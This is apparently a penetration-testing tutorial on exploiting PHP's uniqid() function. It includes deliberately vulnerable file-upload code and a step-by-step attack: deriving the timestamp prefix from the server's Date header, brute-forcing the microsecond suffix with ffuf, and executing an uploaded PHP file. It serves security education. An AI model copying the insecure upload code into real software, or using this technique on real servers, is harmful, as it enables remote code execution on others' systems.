uniqid() — insecure PHP function
During a penetration testing, I encountered a page which uploads a file with randomly generated name by PHP “uniqid()” function. In official PHP documentation[1], this function is declared as insecure and the aim of this paper is explain how to exploit it.
For the sake of simplicity, I wrote the following PHP code which is intentionally vulnerable to unrestricted file upload.
<?php$file = $_FILES['file'];
if (!isset($file)) {die("No file specified");}
$uploadDir = getcwd() . "/uploads/";$filename = $file['name'];$tmpName = $file['tmp_name'];$extension = strtolower(end(explode('.', $filename)));
$uploadPath = $uploadDir . uniqid() . '.' . $extension;$uploaded = move_uploaded_file($tmpName, $uploadPath);
if ($uploaded) {echo "File is uploaded successfully.";} else {echo "An error occurred. Please contact the administrator.";}?>
The code seems secure enough since randomly generated filename is not guessable. However uniqid() function generates an ID based on the machine’s current time in microseconds and this leads to a security issue.
With that being said, let’s just jump in.
$ php -r "echo dechex(strtotime('$(date)')), PHP_EOL;"; php -r 'for($i=0;$i<10;$i++) { echo uniqid(), PHP_EOL; }'634e6a1a634e6a1aa900e634e6a1aa903d634e6a1aa903f634e6a1aa9041634e6a1aa9043634e6a1aa9044634e6a1aa9046634e6a1aa9047634e6a1aa9049634e6a1aa904a
First line gives us the current time in hexadecimal, and the next 10 lines are generated by uniqid() function. And we see that,
first 8 hex chars = Unixtime, last 5 hex chars = microseconds.
When a file is uploaded, uniqid() function generates random ID based on the server’s current time not the client machine’s. So we need to know the server’s time. We can use “Date” HTTP response header for this purpose.
$ curl -sI http://127.0.0.1:8000 | grep -i '^Date: 'date: Tue, 18 Oct 2022 09:48:22 GMT
# convert it into hexadecimal$ curl -sI http://127.0.0.1:8000 | grep -i '^Date: ' | sed 's/Date: //i' | xargs -I{} php -r 'echo dechex(strtotime("{}"));'634e76ee
Now we have first 8 characters in hexadecimal and need to brute force the last 5 ones for a successful attack.
Let us generate a dictionary containing hexadecimal numbers from 0 to 999999
$ for i in $(seq 0 999999);do printf "%05x\n" $i;done > milliseconds.txt
Prior to upload a file, we will calculate the first 8 characters of the uploaded file from the server’s HTTP response header “Date” and then perform an upload.
# test.php<?php echo "I found the file";?>$ curl -sI http://127.0.0.1:8000 | grep -i '^Date: ' | sed 's/Date: //i' | xargs -I{} php -r '$curr=strtotime("{}"); echo dechex($curr) . PHP_EOL . dechex($curr+1). PHP_EOL;' && curl -F file=@test.php 127.0.0.1:8000/upload.php634e7c33634e7c34File is uploaded successfully.
NOTE: In case of slow server’s response time, we calculate two possible hexadecimal values to match the filename in the next second.
At the time of upload, we know that our file is saved into the uploads folder as “634e7c33bec5b.php” for the sake of tutorial. The only assumption you need to make is in which folder the uploaded file might be.
Time to brute force the remaining part of the filename against a dictionary (milliseconds.txt)
$ ffuf -u http://127.0.0.1:8000/uploads/634e7c33FUZZ.php -w milliseconds.txt -ignore-body
When we request the uploaded file, we see that file is really there and php code is executed. VOILA!
$ curl -s http://127.0.0.1:8000/uploads/634e7c33bec5b.phpI found the file